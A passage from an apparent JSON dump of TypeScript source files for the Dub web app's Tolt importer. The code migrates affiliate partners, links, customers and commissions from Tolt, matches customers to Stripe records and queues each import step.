toltImporter.queue({\n    ...payload,\n    startingAfter: undefined,\n    action: \"update-stripe-customers\",\n  });\n}\n\n// Backfill historical commissions\nasync function createCommission({\n  program,\n  commission,\n  fxRates,\n  programCurrency,\n  importId,\n  customersData,\n  customerLeadEvents,\n}: {\n  program: Program;\n  commission: ToltCommission;\n  fxRates: Record<string, string> | null;\n  programCurrency: string;\n  importId: string;\n  customersData: (Customer & { link: Link | null })[];\n  customerLeadEvents: LeadEventTB[];\n}) {\n  const commonImportLogInputs = {\n    workspace_id: program.workspaceId,\n    import_id: importId,\n    source: \"tolt\",\n    entity: \"commission\",\n    entity_id: commission.id,\n  } as const;\n\n  const { customer, partner, ...sale } = commission;\n\n  if (!sale.transaction_id) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"TRANSACTION_NOT_FOUND\",\n      message: `No transaction ID provided for commission ${commission.id}`,\n    });\n\n    return;\n  }\n\n  const commissionFound = await prisma.commission.findUnique({\n    where: {\n      invoiceId_programId: {\n        invoiceId: sale.transaction_id,\n        programId: program.id,\n      },\n    },\n  });\n\n  if (commissionFound) {\n    console.log(`Commission ${commission.id} already exists, skipping...`);\n    return;\n  }\n\n  const customerFound = customersData.find(\n    ({ email }) => email === customer.email,\n  );\n\n  if (!customerFound) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CUSTOMER_NOT_FOUND\",\n      message: `No customer ${customer.email} found for commission ${commission.id}.`,\n    });\n\n    return;\n  }\n\n  // Sale amount (can potentially be null)\n  let saleAmount = Number(sale.revenue ?? 0);\n\n  if (programCurrency.toUpperCase() !== \"USD\" && fxRates) {\n    const { amount: convertedAmount } = convertCurrencyWithFxRates({\n      currency: programCurrency,\n      amount: saleAmount,\n      fxRates,\n    });\n\n    saleAmount = convertedAmount;\n  }\n\n  // Earnings\n  let earnings = Number(commission.amount);\n\n  if (programCurrency.toUpperCase() !== \"USD\" && fxRates) {\n    const { amount: convertedAmount } = convertCurrencyWithFxRates({\n      currency: programCurrency,\n      amount: earnings,\n      fxRates,\n    });\n\n    earnings = convertedAmount;\n  }\n\n  // here, we also check for commissions that have already been recorded on Dub\n  // e.g. during the transition period\n  // since we don't have the Stripe invoiceId from Tolt, we use the referral's customer ID\n  // and check for commissions that were created with the same amount and within a +-1 hour window\n  const chargedAt = new Date(sale.created_at);\n  const trackedCommission = await prisma.commission.findFirst({\n    where: {\n      programId: program.id,\n      createdAt: {\n        gte: new Date(chargedAt.getTime() - 60 * 60 * 1000), // 1 hour before\n        lte: new Date(chargedAt.getTime() + 60 * 60 * 1000), // 1 hour after\n      },\n      customerId: customerFound.id,\n      type: \"sale\",\n      amount: saleAmount,\n    },\n  });\n\n  if (trackedCommission) {\n    console.log(\n      `Commission ${trackedCommission.id} was already recorded on Dub, skipping...`,\n    );\n    return;\n  }\n\n  if (!customerFound.linkId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `No link found for customer ${customerFound.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customerFound.clickId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CLICK_NOT_FOUND\",\n      message: `No click found for customer ${customerFound.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customerFound.link?.partnerId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"PARTNER_NOT_FOUND\",\n      message: `No partner found for customer ${customerFound.id}.`,\n    });\n\n    return;\n  }\n\n  const leadEvent = customerLeadEvents.find(\n    (event) => event.customer_id === customerFound.id,\n  );\n\n  if (!leadEvent) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LEAD_NOT_FOUND\",\n      message: `No lead event found for customer ${customerFound.id}.`,\n    });\n\n    return;\n  }\n\n  const clickData = clickEventSchemaTB\n    .omit({ timestamp: true })\n    .parse(leadEvent);\n\n  const eventId = nanoid(16);\n\n  await Promise.all([\n    prisma.commission.create({\n      data: {\n        id: createId({ prefix: \"cm_\" }),\n        eventId,\n        type: \"sale\",\n        programId: program.id,\n        partnerId: customerFound.link.partnerId,\n        linkId: customerFound.linkId,\n        customerId: customerFound.id,\n        amount: saleAmount,\n        earnings,\n        // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n        currency: \"usd\",\n        quantity: 1,\n        status: toDubStatus[commission.status],\n        invoiceId: sale.transaction_id, // this is not the actual invoice ID, but we use this to deduplicate the sales\n        createdAt: new Date(sale.created_at),\n      },\n    }),\n\n    saleAmount > 0 &&\n      recordSaleWithTimestamp({\n        ...clickData,\n        event_id: eventId,\n        event_name: \"Invoice paid\",\n        amount: saleAmount,\n        customer_id: customerFound.id,\n        payment_processor: \"stripe\",\n        // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n        currency: \"usd\",\n        metadata: JSON.stringify(commission),\n        timestamp: new Date(sale.created_at).toISOString(),\n      }),\n\n    // update link stats (if sale amount is greater than 0)\n    prisma.link.update({\n      where: {\n        id: customerFound.linkId,\n      },\n      data: {\n        ...(isFirstConversion({\n          customer: customerFound,\n          linkId: customerFound.linkId,\n        }) && {\n          conversions: {\n            increment: 1,\n          },\n          lastConversionAt: updateLinkStatsForImporter({\n            currentTimestamp: customerFound.link.lastConversionAt,\n            newTimestamp: new Date(commission.created_at),\n          }),\n        }),\n        ...(saleAmount > 0 && {\n          sales: {\n            increment: 1,\n          },\n          saleAmount: {\n            increment: saleAmount,\n          },\n        }),\n      },\n    }),\n\n    syncPartnerLinksStats({\n      partnerId: customerFound.link.partnerId,\n      programId: program.id,\n      eventType: \"sale\",\n    }),\n\n    // update customer stats (if sale amount is greater than 0)\n    saleAmount > 0 &&\n      prisma.customer.update({\n        where: {\n          id: customerFound.id,\n        },\n        data: {\n          sales: {\n            increment: 1,\n          },\n          saleAmount: {\n            increment: saleAmount,\n          },\n          firstSaleAt: customerFound.firstSaleAt ? undefined : new Date(),\n        },\n      }),\n  ]);\n\n  await syncTotalCommissions({\n    partnerId: customerFound.link.partnerId,\n    programId: program.id,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/tolt/import-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Customer, Link, Project } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { updateLinkStatsForImporter } from \"../api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"../api/partners/sync-partner-links-stats\";\nimport { recordClick, recordLeadWithTimestamp } from \"../tinybird\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { ToltApi } from \"./api\";\nimport { MAX_BATCHES, toltImporter } from \"./importer\";\nimport { ToltCustomer, ToltImportPayload } from \"./types\";\n\nexport async function importCustomers(payload: ToltImportPayload) {\n  let { importId, programId, toltProgramId, startingAfter } = payload;\n\n  const { workspace } = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      workspace: true,\n    },\n  });\n\n  const { token } = await toltImporter.getCredentials(workspace.id);\n\n  const toltApi = new ToltApi({ token });\n\n  let hasMore = true;\n  let processedBatches = 0;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const customers = await toltApi.listCustomers({\n      programId: toltProgramId,\n      startingAfter,\n    });\n\n    if (customers.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const partners = await prisma.partner.findMany({\n      where: {\n        email: {\n          in: customers.map(({ partner }) => partner.email),\n        },\n      },\n      select: {\n        id: true,\n      },\n    });\n\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        partnerId: {\n          in: partners.map((partner) => partner.id),\n        },\n        programId,\n      },\n      select: {\n        partner: {\n          select: {\n            id: true,\n            email: true,\n          },\n        },\n        links: {\n          select: {\n            id: true,\n            key: true,\n            domain: true,\n            url: true,\n            partnerId: true,\n            programId: true,\n            lastLeadAt: true,\n          },\n        },\n      },\n    });\n\n    const partnerEmailToLinks = new Map<\n      string,\n      (typeof programEnrollments)[0][\"links\"]\n    >();\n\n    for (const { partner, links } of programEnrollments) {\n      if (!partner.email) {\n        continue;\n      }\n\n      partnerEmailToLinks.set(partner.email, links);\n    }\n\n    // get the latest lead at for each partner link\n    const partnerEmailToLatestLeadAt = customers.reduce(\n      (acc, customer) => {\n        if (!customer.partner.email) {\n          return acc;\n        }\n        const existing = acc[customer.partner.email] ?? new Date(0);\n        if (new Date(customer.created_at) > existing) {\n          acc[customer.partner.email] = new Date(customer.created_at);\n        }\n        return acc;\n      },\n      {} as Record<string, Date>,\n    );\n\n    const externalIds = customers.map((c) => c.customer_id || c.email || c.id);\n\n    const existingCustomers = await prisma.customer.findMany({\n      where: {\n        projectId: workspace.id,\n        externalId: {\n          in: externalIds,\n        },\n      },\n    });\n\n    await Promise.allSettled(\n      customers.map(({ partner, ...customer }) =>\n        createReferral({\n          workspace,\n          customer,\n          links: partnerEmailToLinks.get(partner.email) ?? [],\n          existingCustomers,\n          latestLeadAt: partnerEmailToLatestLeadAt[partner.email],\n          importId,\n        }),\n      ),\n    );\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    processedBatches++;\n    startingAfter = customers[customers.length - 1].id;\n  }\n\n  await toltImporter.queue({\n    ...payload,\n    startingAfter: hasMore ? startingAfter : undefined,\n    action: hasMore ? \"import-customers\" : \"import-commissions\",\n  });\n}\n\n// Create individual customer entries\nasync function createReferral({\n  customer,\n  workspace,\n  links,\n  existingCustomers,\n  latestLeadAt,\n  importId,\n}: {\n  customer: Omit<ToltCustomer, \"partner\">;\n  workspace: Pick<Project, \"id\" | \"stripeConnectId\">;\n  links: Pick<\n    Link,\n    \"id\" | \"key\" | \"domain\" | \"url\" | \"partnerId\" | \"programId\" | \"lastLeadAt\"\n  >[];\n  existingCustomers: Customer[];\n  latestLeadAt: Date;\n  importId: string;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: workspace.id,\n    import_id: importId,\n    source: \"tolt\",\n    entity: \"customer\",\n    entity_id: customer.customer_id || customer.email || customer.id,\n  } as const;\n\n  if (links.length === 0) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `Link not found for customer ${commonImportLogInputs.entity_id}`,\n    });\n\n    return;\n  }\n\n  // if customer_id is null, use customer email or Tolt customer ID as the external ID\n  const customerExternalId =\n    customer.customer_id || customer.email || customer.id;\n\n  const customerFound = existingCustomers.find(\n    (c) => c.externalId === customerExternalId,\n  );\n\n  if (customerFound) {\n    console.log(\n      `A customer already exists with customerExternalId ${customerExternalId}`,\n    );\n    return;\n  }\n\n  const link = links[0];\n\n  const dummyRequest = new Request(link.url, {\n    headers: new Headers({\n      \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)\",\n      \"x-forwarded-for\": \"127.0.0.1\",\n      \"x-vercel-ip-country\": \"US\",\n      \"x-vercel-ip-country-region\": \"CA\",\n      \"x-vercel-ip-continent\": \"NA\",\n    }),\n  });\n\n  const clickData = await recordClick({\n    req: dummyRequest,\n    clickId: nanoid(16),\n    workspaceId: workspace.id,\n    linkId: link.id,\n    domain: link.domain,\n    key: link.key,\n    url: link.url,\n    skipRatelimit: true,\n    timestamp: new Date(customer.created_at).toISOString(),\n  });\n\n  const clickEvent = clickEventSchemaTB.parse({\n    ...clickData,\n    bot: 0,\n    qr: 0,\n  });\n\n  const customerId = createId({ prefix: \"cus_\" });\n\n  try {\n    await prisma.customer.create({\n      data: {\n        id: customerId,\n        name:\n          // if name is null/undefined or starts with cus_, use email as name\n          !customer.name || customer.name.startsWith(\"cus_\")\n            ? customer.email\n            : customer.name,\n        email: customer.email,\n        projectId: workspace.id,\n        projectConnectId: workspace.stripeConnectId,\n        clickId: clickEvent.click_id,\n        linkId: link.id,\n        programId: link.programId,\n        partnerId: link.partnerId,\n        country: clickEvent.country,\n        clickedAt: new Date(customer.created_at),\n        createdAt: new Date(customer.created_at),\n        externalId: customerExternalId,\n      },\n    });\n\n    await Promise.allSettled([\n      recordLeadWithTimestamp({\n        ...clickEvent,\n        event_id: nanoid(16),\n        event_name: \"Sign up\",\n        customer_id: customerId,\n        timestamp: new Date(customer.created_at).toISOString(),\n      }),\n\n      prisma.link.update({\n        where: {\n          id: link.id,\n        },\n        data: {\n          leads: {\n            increment: 1,\n          },\n          lastLeadAt: updateLinkStatsForImporter({\n            currentTimestamp: link.lastLeadAt,\n            newTimestamp: latestLeadAt,\n          }),\n        },\n      }),\n\n      // partner links should always have a partnerId and programId, but we're doing this to make TS happy\n      ...(link.partnerId && link.programId\n        ? [\n            syncPartnerLinksStats({\n              partnerId: link.partnerId,\n              programId: link.programId,\n              eventType: \"lead\",\n            }),\n          ]\n        : []),\n    ]);\n  } catch (error) {\n    console.error(\"Error creating customer\", customer, error);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/tolt/import-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { createLink } from \"../api/links\";\nimport { generatePartnerLink } from \"../api/partners/generate-partner-link\";\nimport { PartnerProps, ProgramProps, WorkspaceProps } from \"../types\";\nimport { ToltApi } from \"./api\";\nimport { MAX_BATCHES, toltImporter } from \"./importer\";\nimport { ToltImportPayload, ToltLink } from \"./types\";\n\nexport async function importLinks(payload: ToltImportPayload) {\n  let { programId, toltProgramId, userId, startingAfter } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      workspace: true,\n    },\n  });\n\n  const { workspace } = program;\n\n  const { token } = await toltImporter.getCredentials(workspace.id);\n\n  const toltApi = new ToltApi({ token });\n\n  let hasMore = true;\n  let processedBatches = 0;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const links = await toltApi.listLinks({\n      programId: toltProgramId,\n      startingAfter,\n    });\n\n    if (links.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const partners = await prisma.partner.findMany({\n      where: {\n        email: {\n          in: links.map(({ partner }) => partner.email),\n        },\n      },\n      select: {\n        id: true,\n        email: true,\n        name: true,\n      },\n    });\n\n    // create a map of partner emails to partner props\n    const partnerMap = new Map(\n      partners.map(({ email, id, name }) => [email, { id, name, email }]),\n    );\n\n    // filter links to only include links with a partner\n    const partnerLinks = links.filter((link) =>\n      partnerMap.has(link.partner.email),\n    );\n\n    if (partnerLinks.length > 0) {\n      for (const link of partnerLinks) {\n        const partner = partnerMap.get(link.partner.email);\n\n        if (!partner) {\n          console.log(\"Partner not found\", link.partner.email);\n          continue;\n        }\n\n        await createPartnerLink({\n          workspace: workspace as WorkspaceProps,\n          program,\n          link,\n          partner,\n          userId,\n        });\n      }\n    }\n\n    processedBatches++;\n    startingAfter = links[links.length - 1].id;\n  }\n\n  await toltImporter.queue({\n    ...payload,\n    startingAfter: hasMore ? startingAfter : undefined,\n    action: hasMore ? \"import-links\" : \"import-customers\",\n  });\n}\n\nasync function createPartnerLink({\n  workspace,\n  program,\n  partner,\n  link,\n  userId,\n}: {\n  workspace: WorkspaceProps;\n  program: ProgramProps;\n  link: ToltLink;\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\">;\n  userId: string;\n}) {\n  const linkFound = await prisma.link.findUnique({\n    where: {\n      domain_key: {\n        domain: program.domain!,\n        key: link.value,\n      },\n    },\n    select: {\n      partnerId: true,\n    },\n  });\n\n  if (linkFound?.partnerId === partner.id) {\n    console.log(\n      `Partner ${link.partner.email} already has a link with key ${link.value}, skipping...`,\n    );\n    return null;\n  }\n\n  try {\n    const partnerLink = await generatePartnerLink({\n      workspace,\n      program,\n      partner: {\n        id: partner.id,\n        name: partner.name,\n        email: partner.email!,\n      },\n      link: {\n        domain: program.domain!,\n        url: program.url!,\n        key: link.value,\n      },\n      userId,\n    });\n\n    return createLink(partnerLink);\n  } catch (error) {\n    console.error(\"Error creating partner link\", error, link);\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/tolt/import-partners.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Partner, Program } from \"@dub/prisma/client\";\nimport { createId } from \"../api/create-id\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { DEFAULT_PARTNER_GROUP } from \"../zod/schemas/groups\";\nimport { ToltApi } from \"./api\";\nimport { MAX_BATCHES, toltImporter } from \"./importer\";\nimport { ToltAffiliate, ToltImportPayload } from \"./types\";\n\nexport async function importPartners(payload: ToltImportPayload) {\n  let { importId, programId, toltProgramId, startingAfter } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      groups: {\n        where: {\n          slug: DEFAULT_PARTNER_GROUP.slug,\n        },\n      },\n    },\n  });\n\n  const defaultGroup = program.groups[0];\n\n  const { token } = await toltImporter.getCredentials(program.workspaceId);\n\n  const toltApi = new ToltApi({ token });\n\n  let hasMore = true;\n  let processedBatches = 0;\n\n  const commonImportLogInputs = {\n    workspace_id: program.workspaceId,\n    import_id: importId,\n    source: \"tolt\",\n  } as const;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const affiliates = await toltApi.listPartners({\n      programId: toltProgramId,\n      startingAfter,\n    });\n\n    if (affiliates.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const activeAffiliates: typeof affiliates = [];\n    const notImportedAffiliates: typeof affiliates = [];\n\n    for (const affiliate of affiliates) {\n      if (affiliate.status === \"active\") {\n        activeAffiliates.push(affiliate);\n      } else {\n        notImportedAffiliates.push(affiliate);\n      }\n    }\n\n    if (activeAffiliates.length > 0) {\n      const partnersPromise = await Promise.allSettled(\n        activeAffiliates.map((affiliate) =>\n          createPartner({\n            program,\n            affiliate,\n            defaultGroupAttributes: {\n              groupId: defaultGroup.id,\n              saleRewardId: defaultGroup.saleRewardId,\n              leadRewardId: defaultGroup.leadRewardId,\n              clickRewardId: defaultGroup.clickRewardId,\n              discountId: defaultGroup.discountId,\n            },\n          }),\n        ),\n      );\n\n      const partners = partnersPromise\n        .filter(\n          (p): p is PromiseFulfilledResult<Partner> => p.status === \"fulfilled\",\n        )\n        .map((p) => p.value);\n\n      if (partners.length > 0) {\n        await toltImporter.addPartners({\n          programId,\n          partnerIds: partners.map((p) => p.id),\n        });\n      }\n    }\n\n    if (notImportedAffiliates.length > 0) {\n      await logImportError(\n        notImportedAffiliates.map((affiliate) => ({\n          ...commonImportLogInputs,\n          entity: \"partner\",\n          entity_id: affiliate.id,\n          code: \"INACTIVE_PARTNER\",\n          message: `Partner ${affiliate.email} not imported because it is not active.`,\n        })),\n      );\n    }\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    processedBatches++;\n    startingAfter = affiliates[affiliates.length - 1].id;\n  }\n\n  await toltImporter.queue({\n    ...payload,\n    startingAfter: hasMore ? startingAfter : undefined,\n    action: hasMore ? \"import-partners\" : \"import-links\",\n  });\n}\n\n// Create partner\nasync function createPartner({\n  program,\n  affiliate,\n  defaultGroupAttributes,\n}: {\n  program: Program;\n  affiliate: ToltAffiliate;\n  defaultGroupAttributes: {\n    groupId: string;\n    saleRewardId: string | null;\n    leadRewardId: string | null;\n    clickRewardId: string | null;\n    discountId: string | null;\n  };\n}) {\n  const partner = await prisma.partner.upsert({\n    where: {\n      email: affiliate.email,\n    },\n    create: {\n      id: createId({ prefix: \"pn_\" }),\n      name: `${affiliate.first_name} ${affiliate.last_name}`,\n      email: affiliate.email,\n      companyName: affiliate.company_name,\n      country: affiliate.country_code,\n    },\n    update: {\n      // do nothing\n    },\n  });\n\n  await prisma.programEnrollment.upsert({\n    where: {\n      partnerId_programId: {\n        partnerId: partner.id,\n        programId: program.id,\n      },\n    },\n    create: {\n      id: createId({ prefix: \"pge_\" }),\n      programId: program.id,\n      partnerId: partner.id,\n      status: \"approved\",\n      ...defaultGroupAttributes,\n    },\n    update: {\n      status: \"approved\",\n    },\n  });\n\n  return partner;\n}\n"
  },
  {
    "path": "apps/web/lib/tolt/importer.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { redis } from \"@/lib/upstash\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { toltImportPayloadSchema } from \"./schemas\";\nimport { ToltCredentials } from \"./types\";\n\nexport const MAX_BATCHES = 5;\nexport const CACHE_EXPIRY = 60 * 60 * 24;\nexport const CACHE_KEY_PREFIX = \"tolt:import\";\nexport const PARTNER_IDS_KEY_PREFIX = \"tolt:import:partnerIds\";\n\nclass ToltImporter {\n  async setCredentials(workspaceId: string, credentials: ToltCredentials) {\n    await redis.set(`${CACHE_KEY_PREFIX}:${workspaceId}`, credentials, {\n      ex: CACHE_EXPIRY,\n    });\n  }\n\n  async getCredentials(workspaceId: string) {\n    const config = await redis.get<ToltCredentials>(\n      `${CACHE_KEY_PREFIX}:${workspaceId}`,\n    );\n\n    if (!config) {\n      throw new Error(\"Tolt configuration not found.\");\n    }\n\n    return config;\n  }\n\n  async deleteCredentials(workspaceId: string) {\n    return await redis.del(`${CACHE_KEY_PREFIX}:${workspaceId}`);\n  }\n\n  async queue(body: z.infer<typeof toltImportPayloadSchema>) {\n    return await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/tolt`,\n      body,\n      contentBasedDeduplication: true,\n    });\n  }\n\n  async addPartners({\n    programId,\n    partnerIds,\n  }: {\n    programId: string;\n    partnerIds: string[];\n  }) {\n    if (!partnerIds || partnerIds.length === 0) {\n      return;\n    }\n\n    await redis.lpush(`${PARTNER_IDS_KEY_PREFIX}:${programId}`, ...partnerIds);\n  }\n\n  async scanPartnerIds({\n    programId,\n    start,\n    end,\n  }: {\n    programId: string;\n    start: number;\n    end: number;\n  }) {\n    return await redis.lrange(\n      `${PARTNER_IDS_KEY_PREFIX}:${programId}`,\n      start,\n      end,\n    );\n  }\n\n  async deletePartnerIds(programId: string) {\n    return await redis.del(`${PARTNER_IDS_KEY_PREFIX}:${programId}`);\n  }\n}\n\nexport const toltImporter = new ToltImporter();\n"
  },
  {
    "path": "apps/web/lib/tolt/schemas.ts",
    "content": "import slugify from \"@sindresorhus/slugify\";\nimport * as z from \"zod/v4\";\n\nexport const toltImportSteps = z.enum([\n  \"import-partners\",\n  \"import-links\",\n  \"import-customers\",\n  \"import-commissions\",\n  \"update-stripe-customers\", // update the customers with their stripe customer ID\n  \"cleanup-partners\", // remove partners with 0 leads\n]);\n\nexport const toltImportPayloadSchema = z.object({\n  importId: z.string(),\n  userId: z.string(),\n  programId: z.string(),\n  toltProgramId: z.string(),\n  action: toltImportSteps,\n  startingAfter: z.string().optional(),\n});\n\nexport const ToltProgramSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  subdomain: z.string(),\n  payout_term: z.string(),\n  currency_code: z.string(),\n});\n\nexport const ToltAffiliateSchema = z.object({\n  id: z.string(),\n  email: z.string(),\n  first_name: z.string(),\n  last_name: z.string(),\n  company_name: z.string().nullable(),\n  country_code: z.string().nullable(),\n  status: z.string().optional(),\n  program: ToltProgramSchema.optional(),\n});\n\nexport const ToltLinkSchema = z.object({\n  id: z.string(),\n  param: z.string(),\n  value: z.string().transform((val) => slugify(val)), // need to slugify this cause Tolt can sometimes return \"john doe\"\n  partner: ToltAffiliateSchema,\n});\n\nexport const ToltCustomerSchema = z.object({\n  id: z.string(),\n  customer_id: z\n    .string()\n    .describe(\"Internal customer identifier in client's app.\")\n    .nullable(),\n  email: z.string().nullable(),\n  name: z.string().nullable(),\n  status: z.string(),\n  created_at: z.string(),\n  updated_at: z.string(),\n  partner: ToltAffiliateSchema,\n});\n\nexport const ToltCommissionSchema = z.object({\n  id: z.string(),\n  amount: z.string().describe(\"Amount of the commission in cents.\"),\n  revenue: z\n    .string()\n    .nullable()\n    .describe(\"Revenue of the transaction in cents.\"),\n  transaction_id: z.string().nullable(),\n  charge_id: z.string().nullable(),\n  status: z.string(),\n  created_at: z.string(),\n  updated_at: z.string(),\n  partner: ToltAffiliateSchema.omit({\n    status: true,\n    program: true,\n  }),\n  customer: ToltCustomerSchema.omit({\n    customer_id: true,\n    partner: true,\n  }),\n});\n"
  },
  {
    "path": "apps/web/lib/tolt/types.ts",
    "content": "import * as z from \"zod/v4\";\nimport {\n  ToltAffiliateSchema,\n  ToltCommissionSchema,\n  ToltCustomerSchema,\n  toltImportPayloadSchema,\n  ToltLinkSchema,\n  ToltProgramSchema,\n} from \"./schemas\";\n\nexport interface ToltCredentials {\n  token: string;\n}\n\nexport interface ToltListResponse<T> {\n  success: true;\n  total_count: number;\n  data: T[];\n}\n\nexport interface ToltProgram extends z.infer<typeof ToltProgramSchema> {\n  affiliates: number;\n}\n\nexport type ToltAffiliate = z.infer<typeof ToltAffiliateSchema>;\n\nexport type ToltLink = z.infer<typeof ToltLinkSchema>;\n\nexport type ToltCustomer = z.infer<typeof ToltCustomerSchema>;\n\nexport type ToltCommission = z.infer<typeof ToltCommissionSchema>;\n\nexport type ToltImportPayload = z.infer<typeof toltImportPayloadSchema>;\n"
  },
  {
    "path": "apps/web/lib/tolt/update-stripe-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Customer, Project } from \"@dub/prisma/client\";\nimport Stripe from \"stripe\";\nimport { stripeAppClient } from \"../stripe\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { MAX_BATCHES, toltImporter } from \"./importer\";\nimport { ToltImportPayload } from \"./types\";\n\nconst CUSTOMERS_PER_BATCH = 20;\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\n// Tolt API doesn't return the Stripe customer ID,\n// so we'll search for Stripe customers by email and update the customer record with the Stripe customer ID, if found.\nexport async function updateStripeCustomers(payload: ToltImportPayload) {\n  let { importId, programId, startingAfter } = payload;\n\n  const { workspace } = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    select: {\n      workspace: {\n        select: {\n          id: true,\n          slug: true,\n          stripeConnectId: true,\n        },\n      },\n    },\n  });\n\n  if (!workspace.stripeConnectId) {\n    console.error(\n      `Workspace ${workspace.id} has no stripeConnectId. Skipping...`,\n    );\n    return;\n  }\n\n  let hasMore = true;\n  let processedBatches = 0;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const customers = await prisma.customer.findMany({\n      where: {\n        projectId: workspace.id,\n        stripeCustomerId: null,\n      },\n      select: {\n        id: true,\n        name: true,\n        email: true,\n      },\n      orderBy: {\n        id: \"asc\",\n      },\n      take: CUSTOMERS_PER_BATCH,\n      skip: startingAfter ? 1 : 0,\n      ...(startingAfter && {\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n    });\n\n    if (customers.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    await Promise.allSettled(\n      customers.map((customer) =>\n        searchStripeAndUpdateCustomer({\n          workspace,\n          customer,\n          importId,\n        }),\n      ),\n    );\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    processedBatches++;\n    startingAfter = customers[customers.length - 1].id;\n  }\n\n  await toltImporter.queue({\n    ...payload,\n    startingAfter: hasMore ? startingAfter : undefined,\n    action: hasMore ? \"update-stripe-customers\" : \"cleanup-partners\",\n  });\n}\n\nasync function searchStripeAndUpdateCustomer({\n  workspace,\n  customer,\n  importId,\n}: {\n  workspace: Pick<Project, \"id\" | \"slug\" | \"stripeConnectId\">;\n  customer: Pick<Customer, \"id\" | \"email\">;\n  importId: string;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: workspace.id,\n    import_id: importId,\n    source: \"tolt\",\n    entity: \"customer\",\n    entity_id: customer.id,\n  } as const;\n\n  try {\n    const stripeCustomers = await stripe.customers.search(\n      {\n        query: `email:'${customer.email}'`,\n        expand: [\"data.subscriptions\"],\n      },\n      {\n        stripeAccount: workspace.stripeConnectId!,\n      },\n    );\n\n    if (stripeCustomers.data.length === 0) {\n      await logImportError({\n        ...commonImportLogInputs,\n        code: \"STRIPE_CUSTOMER_NOT_FOUND\",\n        message: `Stripe search returned no customer for ${customer.email}`,\n      });\n\n      return null;\n    }\n\n    let stripeCustomer: Stripe.Customer;\n\n    if (stripeCustomers.data.length > 1) {\n      // look for the one with metadata.tolt_referral set\n      const toltReferralStripeCustomer = stripeCustomers.data.find(\n        ({ metadata }) => metadata.tolt_referral,\n      );\n\n      if (toltReferralStripeCustomer) {\n        stripeCustomer = toltReferralStripeCustomer;\n      } else {\n        // look for the one with subscriptions\n        const customerWithSubcription = stripeCustomers.data.find(\n          ({ subscriptions }) => subscriptions && subscriptions.data.length > 0,\n        );\n\n        if (customerWithSubcription) {\n          console.log(\n            `Found Stripe customer with subscriptions for ${customer.email}: ${customerWithSubcription.id}`,\n          );\n          stripeCustomer = customerWithSubcription;\n        } else {\n          await logImportError({\n            ...commonImportLogInputs,\n            code: \"STRIPE_CUSTOMER_NOT_FOUND\",\n            message: `Stripe search returned multiple customers for ${customer.email} for workspace ${workspace.slug} and none had metadata.tolt_referral set`,\n          });\n          return null;\n        }\n      }\n    } else {\n      stripeCustomer = stripeCustomers.data[0];\n    }\n\n    await prisma.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        stripeCustomerId: stripeCustomer.id,\n      },\n    });\n\n    console.log(\n      `Updated customer ${customer.id} with Stripe customer ID ${stripeCustomer.id}`,\n    );\n  } catch (error) {\n    console.error(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/types.ts",
